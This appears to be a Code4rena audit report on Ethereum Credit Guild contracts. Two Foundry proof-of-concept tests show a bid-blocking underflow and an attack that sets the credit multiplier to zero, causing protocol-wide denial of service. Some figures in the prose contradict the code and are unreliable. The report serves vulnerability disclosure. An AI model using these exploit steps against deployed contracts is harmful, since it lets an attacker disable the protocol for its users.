Ethereum Credit Guild - 0xPhantom's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L751-L797 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L331-L333

Vulnerability details

Impact

The bid can revert because an underflow since when a loss occur the profitManager compute the new credit multiplier by this formula:

 uint256 newCreditMultiplier = (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply;

When a user take a loan and the loan is called there is two phase. One phase where the collateral offered increase and the creditAsked is the callDebt and another phase after the midpoint where less and less credit are asked and the collateral is offered to the bidder. After a bidder call bid during the second phase the AuctionHouse will call the lendingTerm 'onBid'. In this function the bid of the bidder will be burn (L-629) and the LendingTerm will call the ProfitManager function notifyPnL(L-292) the ProfitManager will burn the surplusBuffer amount in order to decrement the loss. And will use the loss to compute the new credit multiplier. but the loss can be hire than the credit totalSupply.

for example if bob mint 100e18 with the SimplePSM and Alice borrow 100e18 and redeem them to have the pegToken amount of bob the totalSupply is 0 if the loan of Alice the partialRepay delay passed and the loan is called. During the second phase the system will ask les and les credit and it will be impossible to bid because if a bidder mint credit with the simplePSM in order to repay the debt of Alice this amount will be burn and the totalSupply is Zero put not the loss. so the call will revert until someone borrow or mint with the SimplePSM the loss will be increase until the end of the auction where we will have to forgive and it will be impossible is no one mint credits

Proof of Concept

function testBidDOS() external {
         address user= makeAddr("user"); 
        uint256 creditMultiplier = profitManager.creditMultiplier();
        collateral.mint(address(user), 1000e18);
        vm.startPrank(user); 
        collateral.approve(address(term),1000e18);
       bytes32 loanId = term.borrow((1000e18 * _CREDIT_PER_COLLATERAL_TOKEN) / creditMultiplier,1000e18);
        vm.stopPrank();
        vm.warp(block.timestamp+13);
        uint256 loanDebt = term.getLoanDebt(loanId);
         vm.prank(user); 
       credit.approve(address(term), (loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
         vm.prank(user); 
       term.partialRepay(loanId,(loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
       vm.warp(block.timestamp+_MAX_DELAY_BETWEEN_PARTIAL_REPAY+1); 
       vm.prank(msg.sender);
       term.call(loanId);
       vm.warp(block.timestamp + 900); 
        LendingTerm.Loan memory loan = term.getLoan(loanId);
         uint256 principal = (loan.borrowAmount * loan.borrowCreditMultiplier) / creditMultiplier;
       (uint256 collateralAsked, uint256 creditAsked)= auctionHouse.getBidDetail(loanId);
       console.log(collateralAsked, creditAsked,principal,loanDebt); 
       credit.mint(user2,creditAsked);
       vm.prank(user);
       credit.burn(creditAsked); 
       vm.prank(user2);
       credit.approve(address(term), creditAsked);
       vm.prank(user2);
       vm.expectRevert();
       auctionHouse.bid(loanId);
    }
```
Here a user borroww 200000e18 credit he partialRepay his debt after that the time pass the loan is called we arrive to the second phase of the auction. and another user mint the credit asked but Bob burn his credit. and the totalSupply is less than the loss it revert. 
## Tools Used
Echidna 
## Recommended Mitigation Steps
In my opinion this code in the LendingTerm (L-783)

if (principal != 0) { CreditToken(refs.creditToken).burn(principal); RateLimitedMinter(refs.creditMinter).replenishBuffer(principal); }

Should be after the call of notifyPNL to avoid this problem.


## Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L331-L333

Vulnerability details

Impact

The credit multiplier can be set to zero if the loss is equal to the totalSupply it's because when a loss occur the system doesn't check that the totalSupply is hire than the loss since the majority of borrowers redeem their credit to have the pegToken it can happen and it will be a disaster for the protocol the functions in the LendingTerm: borrow, repay, and partialRepay, bid in auctionHouse mint and redeem in the Simple PSM will not work anymore for all the LendingTerms.

Proof of Concept

he profitManager compute the new credit multiplier by this formula:

 uint256 newCreditMultiplier = (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply;

When a user take a loan and the loan is called there is two phase. One phase where the collateral offered increase and the creditAsked is the callDebt and another phase after the midpoint where less and less credit are asked and the collateral is offered to the bidder. After a bidder call bid during the second phase the AuctionHouse will call the lendingTerm 'onBid'. In this function the bid of the bidder will be burn (L-629) and the LendingTerm will call the ProfitManager function notifyPnL(L-292) the ProfitManager will burn the surplusBuffer amount in order to decrement the loss. And will use the loss to compute the new credit multiplier. But if the loss is equal to the credit total supply the credit Multiplier will be equal to zero.

function testBidCataclysme() external {
         address user= makeAddr("user");
        uint256 creditMultiplier = profitManager.creditMultiplier();
        collateral.mint(address(user), 1000e18);
        vm.startPrank(user); 
        collateral.approve(address(term),1000e18);
       bytes32 loanId = term.borrow(10000e18,100e18);
        vm.stopPrank();
        vm.warp(block.timestamp+13);
        uint256 loanDebt = term.getLoanDebt(loanId);
         vm.prank(user); 
       credit.approve(address(term), (loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
         vm.prank(user); 
       term.partialRepay(loanId,(loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
       vm.warp(block.timestamp+_MAX_DELAY_BETWEEN_PARTIAL_REPAY+1); 
       vm.prank(msg.sender);
       term.call(loanId);
       vm.warp(block.timestamp + 1600); 
        LendingTerm.Loan memory loan = term.getLoan(loanId);
         uint256 principal = (loan.borrowAmount * loan.borrowCreditMultiplier) / creditMultiplier;
       (uint256 collateralAsked, uint256 creditAsked)= auctionHouse.getBidDetail(loanId);
    
       vm.prank(user);
       credit.approve(address(term), creditAsked);

       credit.mint(address(this), 6330434720885811570152-6330434638496783243677);

       vm.prank(user);
       auctionHouse.bid(loanId);
       assert(profitManager.creditMultiplier()==0);
    }

In this test bob borrow 10000e18 in the second phase of the auction the credit asked are 1669565279114188439848 is less than 1000e18 he bid and the credit asked will be burn by the lendingTerm but if the user mint exactly the difference between the loss and the totalSupply or if anybody mint or borrow the exact difference it will result that the creditMultiplier is set to zero. Since the majority of borrowers redeem the credit so the totalSupply is low. a mallicious borrower can use this vulnerability to destroy the protocol and DOS all the functions of the protocol of all the lendingTerms and the SimplePSM because of the division by zero. For instance in the LendingTerm(L-357) in the _borrow function:

   uint256 maxBorrow = (collateralAmount * params.maxDebtPerCollateralToken) / creditMultiplier;

Speacially when the totalSupply is low. since their is many credits in many blockChains it's not impossible if an attacker know the totalSupply and have an amount of pegToken he can DOS all the protocol.

Tools Used

Echidna

Recommended Mitigation Steps

One step is to Burn the creditAsked in onBid of the lendingTerm after the notifypnl call to the profitManager. another way is to mint a certain amount in the profitManager if the loss is greater or equal than the totalSupply

Assessed type

DoS